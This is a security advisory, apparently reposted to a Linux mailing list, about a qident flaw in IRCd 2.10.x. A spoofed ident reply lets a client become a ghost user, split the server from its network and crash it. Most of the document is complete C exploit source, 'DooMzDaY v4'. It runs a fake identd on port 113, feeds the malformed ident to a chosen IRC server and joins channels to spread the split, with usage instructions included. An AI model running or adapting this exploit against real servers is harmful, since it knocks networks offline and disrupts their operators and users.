A bug in IRCd 2.10.x (qident) can be used for a Denial of Service
attack
----------------------------------------------------------------------------
----
SUMMARY
Vulnerability in the qident daemon allows remote IRC users to become a
ghost user on the
<http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=IRC> IRC server, and
even to crash IRC server, performing a Denial of Service attack against
that IRC server.
DETAILS
Qident does not check successfully for spaces and characters as like *, !
and @.
When using an ident like "@o ! ! !", the letter 'o' would be treated as
host and the rest of the parameters, would be enhanced by the number of
spaces provided by the ident.
If this ident is accepted, the connected client will become a ghost. This
ghost is not successfully transmitted to the ircnetwork, therefore only
visible on the server it connects to.
That would not be a problem, but the real problems occur when the bogus
idented client joins a channel. The join is not being rejected by the
network and transfers the bogus ident with the parameters. Then, a
"protocol error" occurs, the server is forced to split from the rest of
the network.
Even worse, the bogus client can get collided, and this can lead to a
denial of service crashing the ircd completely.
exploit
Below is a simple exploit that starts an IRC client with a spoofed ident.
The ident daemon should not be running while the exploit is used. Also,
you have to be root (used for the bind). The exploit code was written for
Linux.
The following is an exploit code for this vulnerability:
/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
* for linux - written by psychoid from tcl
*
* general vulnerability found by Hippo
* a fix already is available, but there are
* also incomplete fixes out there.
*
* this splits a server from the network. Simple, isnt it ?
*
* if you really want to run this, there should not run
* an in.identd on your machine. Also, you need to be root.
*
* erm, this is for educational purposes only. Even, if noone gets
* hurt *g*.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/time.h>
jmp_buf jumpback;
void timed_out( int sig ) {
longjmp( jumpback, 0x0 );
}
void fuck_it(int sig) {
longjmp( jumpback, 0x0 );
}
int settimeout(unsigned short sockh, unsigned short timeout) {
fd_set rfds;
struct timeval tv;
FD_ZERO(&rfds);
FD_SET(sockh,&rfds);
tv.tv_sec=timeout;
tv.tv_usec=0;
select(sockh+1,&rfds,NULL,NULL,&tv);
if (!FD_ISSET(sockh,&rfds)) {
return 0;
} else {
return 1;
}
/* returns 0=timeout or error, 1=input there */
}
unsigned long lookup(char *hostname)
{
struct hostent *name;
unsigned long int address;
if ((address = inet_addr(hostname)) != -1)
return address;
if ((name=gethostbyname(hostname)) == NULL)
return -1;
memcpy(&address,name->h_addr,name->h_length);
return address;
}
int writesock(int sock,char *buf)
{
write(sock,buf,strlen(buf));
}
int readsock(int sock,char *buf,int size)
{
int rc;
fd_set rfds;
struct timeval tv;
int cnt;
memset(buf,0x0,size);
cnt=0;
if (settimeout(sock,1)==1) {
do {
rc=read(sock,buf+cnt,1);
if (rc==0) return rc;
if (rc==-1) return rc;
cnt++;
} while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
}
return 0;
}
int sockconnect( unsigned short timeout, unsigned long iP, unsigned short
port ) {
int socky;
int wasread;
int currentsock;
struct sockaddr_in address;
struct hostent *athost;
char lasock[0x100];
unsigned long tip;
unsigned short prt;
FILE *sockslist;
FILE *lastsock;
if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
return socky;
}
address.sin_family = AF_INET;
address.sin_port = htons( port );
address.sin_addr.s_addr = iP;
signal( SIGALRM, timed_out );
alarm(10);
if ( setjmp( jumpback ) == 0x0 ) {
if ( connect( socky, (struct sockaddr*)(&address), sizeof( address )))
{
socky = -1;
}
} else { socky = -1; }
fflush(stdout);
alarm (0);
return socky;
}
void brokenpipe()
{
printf("Broken Pipe\n");
return;
}
int tcpconnect( unsigned long iP,
unsigned short port,
unsigned short timeout ) {
int socky;
struct sockaddr_in address;
struct sigaction sv;
struct hostent *athost;
char thathost[0x100];
char buffer[512];
int tries, length;
socky = -1;
tries = 0;
sigemptyset(&sv.sa_mask);
sv.sa_handler=brokenpipe;
sigaction(SIGPIPE,&sv,NULL);
/* if ((athost = gethostbyname (thathost)) == NULL) {
return -1;
}*/
fflush(stdout);
if ((socky = sockconnect(timeout,iP,port)) == -1) {
fprintf(stdout,"Connection refused.\n");
socky = -1;
return socky;
}
if (socky == -1) printf("Connection refused.\n");
alarm( 0x0 );
return socky;
}
int ircdboost(char *host, int port, char *nick)
{
int sock;
char buf[2048];
char *pt;
printf("Step 2: Connecting to the IRC Server.\n");
sock=tcpconnect(lookup(host),port,10);
if (sock==-1) {
printf("Error: cant connect\n");
exit(0x0);
}
printf("Step 3: Connected.. sending user / join\n");
/* the star is very very important */
writesock(sock,"USER o a a :a\r\n");
snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
writesock(sock,buf);
snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
writesock(sock,buf);
/* this joins are needed to broadcast the user to the connected
servers */
writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
writesock(sock,"JOIN 0\r\n"); /* yeah, right */
printf("Step 4: Please press control+break to release the split.\n");
while (readsock(sock,buf,sizeof(buf)) >=0)
{
pt=strstr(buf,"PING");
if (pt==buf)
{
writesock(sock,"PONG :PPP\r\n");
}
pt=strstr(buf,"ERROR");
if (pt==buf) break;
printf(buf);
}
close(sock);
}
int
main (int argc, char **argv)
{
int listensocket, insocket, outsocket;
short listenport, destport;
struct hostent *socks_he, *dest_he;
struct sockaddr_in listen_sa, socks_sa;
char buf[200];
int sopts = 1, maxfd;
char c[100];
char *po;
int length;
int cnt;
int rc;
int lport,fport;
fd_set rfds;
lport= 0; fport =0;
printf("\nDooMzDaY v4 - by psychoid\n");
printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");
if (argc != 4)
{
printf ("Usage: %s ircserver port nick\n", argv[0]);
printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
exit (1);
}
printf("Setting up..\n");
listenport = 113;
listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof
(int));
memset (&listen_sa, 0, sizeof (struct sockaddr_in));
listen_sa.sin_port = htons (listenport);
listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);
socks_sa.sin_port = htons (destport);
if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct
sockaddr_in))) == -1)
{
perror ("bind");
exit (1);
}
if ((listen (listensocket, 1)) == -1)
{
perror ("listen");
exit (1);
}
rc=fork();
if (rc ==0) {
printf("\nStep 1: Starting identd\n");
sleep(2); /* the demon should really run */
ircdboost(argv[1],atoi(argv[2]),argv[3]);
exit(0x0);
}
gee:
sleep(1);
printf(" Identd started.. listening.\n");
insocket = accept (listensocket, NULL, 0);
if (insocket == -1)
{
perror ("accept");
exit (1);
}
while (1)
{
memset(c,0x0,sizeof(c));
FD_ZERO (&rfds);
FD_SET (insocket, &rfds);
select (insocket+1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (insocket, &rfds))
{
length = recv (insocket, c, 100, 0);
if (length == -1 || length == 0)
break;
sscanf(c," %d , %d", &lport, &fport);
snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! !
\r\n",lport,fport);
printf("\nIdent : %s\n",buf);
/* sending it a second time because of the lame 1st patch */
send(insocket,buf,strlen(buf),0);
snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
printf("\nIdent : %s\n",buf);
send(insocket,buf,strlen(buf),0);
break;
}
}
sleep(1);
close (insocket);
close (listensocket);
wait(0);
exit(0x0);
}
ADDITIONAL INFORMATION
This vulnerability has been found by: <mailto:[EMAIL PROTECTED]> psychoid.
========================================
-------
AFLHI 058009990407128029/089802
milis ini didukung oleh :
>> http://www.indolinux.com - dunia linux indonesia
-------------------------------------------------------------------
untuk berhenti kirim email ke [EMAIL PROTECTED]
untuk melihat peraturan kirim email ke [EMAIL PROTECTED]
arsip berada di http://www.mail-archive.com/[email protected]